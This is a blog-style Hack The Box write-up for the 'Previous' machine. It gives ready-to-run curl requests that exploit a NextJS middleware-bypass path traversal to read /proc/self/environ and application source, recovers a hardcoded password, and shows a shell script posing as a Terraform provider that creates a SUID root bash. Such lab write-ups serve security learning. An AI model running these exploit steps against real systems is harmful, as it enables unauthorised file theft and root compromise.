Skip to content
Go back

Hack The Box Previous Write-up : LFI to Root via Terraform

carteHTB.png

Introduction : Analyzing the ‘Previous’ HTB Machine

“Previous” is a Linux machine from Hack The Box that perfectly illustrates how modern vulnerabilities can be chained together for a full compromise. We will cover key techniques such as exploiting a Local File Inclusion (LFI) vulnerability in a NextJS framework, and a creative method for privilege escalation via a Terraform misconfiguration.

Phase 1 : Reconnaissance and Enumeration

Every successful attack begins with thorough reconnaissance. Our first step is an nmap scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.83

Nmap scan results for the Previous HTB machine

The scan reveals an Nginx web server on port 80. To access the website, it’s essential to add previous.htb to our /etc/hosts file. Analyzing the site shows a simple login page, but more importantly, that it’s developed with NextJS. A potential username, jeremy, is also found in a contact email.

A hidden directory search with gobuster is launched to find any non-obvious entry points.

gobuster dir -u http://previous.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

Gobuster scan on previous.htb

Since this search yields nothing, and an attempt to create an account via the API fails, it’s time to focus on the biggest lead : a potential vulnerability in the NextJS framework.

Phase 2 : Initial Access via Path Traversal (LFI) Vulnerability

With our initial enumeration hitting a dead end, the focus shifts entirely to the NextJS framework. Research into known vulnerabilities reveals a promising candidate : CVE-2025-29927. This specific flaw describes a Path Traversal vulnerability affecting misconfigured NextJS applications. If the conditions are met, it allows an attacker to read arbitrary files on the server by manipulating specific API routes. This is our golden ticket for initial access.

Step 1 : Confirming the LFI

We confirm the vulnerability by trying to read the /proc/self/environ file, which contains the environment variables of the server process. This is an excellent technique to validate an LFI without requiring special permissions.

curl -s "http://previous.htb/api/download?example=../../../../../../proc/self/environ" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
| tr '\0' '\n'

Confirming the LFI by reading /proc/self/environ

The command succeeds and displays the variables, confirming our control over the file path. We also note that the working directory is PWD=/app.

Step 2 : Exfiltrating Source Code to Find Credentials

With the LFI confirmed, our goal is to read the application’s source code to understand its authentication logic. We use the flaw to retrieve routes-manifest.json, which acts as a route map for the NextJS application.

curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

Reading the NextJS routes-manifest.json file

This manifest reveals the path to the authentication code : /app/.next/server/pages/api/auth/[...nextauth].js. We exfiltrate it by URL-encoding the brackets ([] -> %5B%5D) :

curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

Exfiltrated source code containing the authentication logic

Analyzing the minified JavaScript code reveals the authorize function with a fallback password logic :

authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null

The password is MyNameIsJeremyAndILovePancakes if the ADMIN_SECRET environment variable is not set, which we have already confirmed. We have our credentials : jeremy:MyNameIsJeremyAndILovePancakes.

Step 2.5 : Attempting Web Authentication

With the credentials in hand, the most logical first step is to attempt an authentication through the web interface. The application’s authentication flow directs us to the following endpoint : http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs.

However, after a successful login, the /docs page reveals no sensitive information or further attack vectors. This path appears to be a dead end. It’s time to pivot our strategy and see if these credentials can be used elsewhere. Recalling our initial nmap scan, port 22 was open.

Step 3 : SSH Connection

These credentials allow us to connect directly to the machine via SSH, giving us our initial foothold.

ssh jeremy@previous.htb

Successful SSH connection as user jeremy

We now have a shell and can capture the user.txt flag.

Phase 3 : Root Privilege Escalation via Terraform

Our final goal is to become root. The first command to run is sudo -l to check our permissions.

sudo -l

Output of sudo -l showing Terraform permissions

The user jeremy can run Terraform as root (sudo /usr/bin/terraform -chdir=/opt/examples apply). This is an dangerous configuration and our express lane to privilege escalation.

The main.tf configuration file in /opt/examples uses a custom “provider”. We will hijack this call using Terraform’s dev_overrides feature, which is designed for development but is often a source of vulnerabilities.

Step 1 : Create a Malicious Terraform Provider

We create a fake provider, which is actually a simple shell script. This script will copy the bash binary, place it in /usr/local/bin, and assign it the SUID bit. A SUID binary runs with the permissions of its owner (in this case, root).

mkdir -p ~/dev-plugins
cat > ~/dev-plugins/terraform-provider-examples_v1.0.0 <<'EOF'
#!/bin/sh
cp /bin/bash /usr/local/bin/bashroot
chmod 4755 /usr/local/bin/bashroot
exit 1
EOF
chmod +x ~/dev-plugins/terraform-provider-examples_v1.0.0

Creating the malicious shell script for the Terraform exploit

Step 2 : Hijack the Provider Call

We configure Terraform to use our local script instead of the official provider by creating a ~/.terraformrc file.

cat > ~/.terraformrc <<'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy/dev-plugins"
  }
  direct {
    exclude = ["previous.htb/terraform/examples"]
  }
}
EOF

The .terraformrc configuration file for the provider hijack

Step 3 : Trigger the Exploit and Become Root

Everything is in place. We execute the allowed sudo command.

sudo /usr/bin/terraform -chdir=/opt/examples apply

Executing the sudo Terraform command which triggers our payload

Terraform fails with errors, but this is irrelevant. Our script has already been executed with root privileges before the failure. The /usr/local/bin/bashroot binary is now a SUID root shell.

We execute it to get a final root shell.

/usr/local/bin/bashroot -p
whoami

We have achieved our final objective. The root.txt flag is ours.

Thank you for following this guide !


Share this post on:

Next Post
Understanding PGP/GPG and Asymmetric Encryption